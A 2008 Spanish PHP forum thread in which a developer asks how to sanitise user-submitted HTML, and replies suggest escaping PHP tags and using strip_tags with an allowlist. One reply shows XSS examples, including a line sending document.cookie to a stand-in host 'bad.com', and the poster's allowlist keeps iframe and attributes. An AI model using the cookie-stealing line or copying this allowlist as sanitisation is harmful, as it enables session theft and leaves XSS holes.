Foros del Web » Programando para Internet » PHP »

Inhabilitar todo lo no-html

Estas en el tema de Inhabilitar todo lo no-html en el foro de PHP en Foros del Web. Hola!! Tengo un proyecto en el que el usario puede insertar su propio codigo html, pero claro, este html está guardado en mysql, y la ...
  #1 (permalink)  
Antiguo 24/11/2008, 14:18
(Desactivado)
 
Fecha de Ingreso: marzo-2008
Mensajes: 641
Antigüedad: 16 años, 1 mes
Puntos: 7
Inhabilitar todo lo no-html

Hola!!

Tengo un proyecto en el que el usario puede insertar su propio codigo html, pero claro, este html está guardado en mysql, y la página donde se muestra está en php.

Creo que el usuario puede insertar perfectamente un codigo php, y esto, aunque yo no sé mucho, puede serle muy útil a alguien con intención de "molestar"...

¿Cómo hago para asegurarme que el código del usuario no incluye otros lenguajes de programación que no sean html?

Creo que solo le funcionaría usar php, aunque quiero estarme seguro de que no podrá usarlo... Saludos...
  #2 (permalink)  
Antiguo 24/11/2008, 14:24
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: Inhabilitar todo lo no-html

en realidad no funcionaría, preocúpate por que inserten Javascript... ya que ese si se puede ejecutar aún

si se les ocurre escribir PHP simplemente el interprete no lo va a ejecutar porque no esta en el código fuente, solo es texto.... de veras!

eso si, si lo hacen este se va a ver en el código fuente... por cierto ¿no has echo la prueba?

bueno, la solución es simple... tan solo reemplaza <? y ?> por sus entidades &lt;? y ?&gt; y listo, suerte!
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #3 (permalink)  
Antiguo 25/11/2008, 08:50
(Desactivado)
 
Fecha de Ingreso: marzo-2008
Mensajes: 641
Antigüedad: 16 años, 1 mes
Puntos: 7
Respuesta: Inhabilitar todo lo no-html

Ok, gracias....

Entonces para javascript no podrían ponerlo sin <script language...> (no se javascript)

Entonces solo tendría que hacer str_replace("<script.....>","&lt...",$cadenatexto) ; str_replace("<?","&lt;?",$cadenatexto)
str_replace("?>","?&gt;",$cadenatexto)

o no?? Saludos!!
  #4 (permalink)  
Antiguo 25/11/2008, 15:11
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: Inhabilitar todo lo no-html

mejor usa strip_tags .... lee el manual, dice que en el segundo parámetro puede omitir etiquetas..

http://php.net/strip_tags

suerte!
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #5 (permalink)  
Antiguo 25/11/2008, 17:47
okram
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: Inhabilitar todo lo no-html

El permitir que un usuario ingrese código HTML es un riesgo gigante y de difícil solución. Lamentablemente, por más str_replace que pongas, ten la seguridad de que en el 90% de los casos siempre habrá algún hueco por el que tu usuario podrá inyectar cñodigo no deseado. Lo mejor, como dice pateketrueke, es usar strip_tags() y permitir de esta manera sólo ciertas etiquetas HTML, como las de formato, divs, tablas, todo dependiendo de la utilidad que tenga el sistema que estás haciendo.

Ahora, si sólo una suerte de administrador va a poder insertar el códido, lo más adecuado sería entonces permitir abiertamente cualquier código HTML, indicándole claramente que cualquier código malicioso afectará directamente la parte visual. Total, si es un administrador puede asumir sus propios riesgos.

  #6 (permalink)  
Antiguo 26/11/2008, 09:16
(Desactivado)
 
Fecha de Ingreso: marzo-2008
Mensajes: 641
Antigüedad: 16 años, 1 mes
Puntos: 7
Respuesta: Inhabilitar todo lo no-html

Ohhh!!

Muy buena función, no la conocía...

He hecho esto:

Código PHP:
 $tag_permitidos='<strong>,<u>,<i>,<a>,<br>,<blockquote>,<div>,<em>,<font>,<h1>,<h2>,<h3>,<h4>,<h5>,<h6>,<hr>,<iframe>,<marquee>,<table>';
$texto '<p><u><strong><em>hola</em></strong></u></p><!-- Comentario --> Mas texto';
$html_seguro=strip_tags($texto,$tag_permitidos); 
Si conocen de algún tag que me halla saltado y sea útil (y no perjudicial), agradecería que me lo dijeran... Saludos

Última edición por yonolose; 26/11/2008 a las 09:22
  #7 (permalink)  
Antiguo 26/11/2008, 10:05
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: Inhabilitar todo lo no-html

hola... se dice, que a pesar de eliminar los tags "perjudiciales" aun pueden meterte algún código XSS y pueden ejecutarlo, osea... javascript

mira este ejemplo, demás te sugiero investigues el tema...

Código HTML:
<img src="document.location.href='http://bad.com/a/page.php?'+document.cookie;"/>
<span style="color:expresion(alert(true))">foo</span> 
el segundo solo funciona en IE, pero bueno....

suerte!
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #8 (permalink)  
Antiguo 27/11/2008, 08:56
(Desactivado)
 
Fecha de Ingreso: marzo-2008
Mensajes: 641
Antigüedad: 16 años, 1 mes
Puntos: 7
Respuesta: Inhabilitar todo lo no-html

Hola!!... Gracias, pero esque no sé para qué sirve eso ni dónde uscar info.. Saludos!!
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 08:23.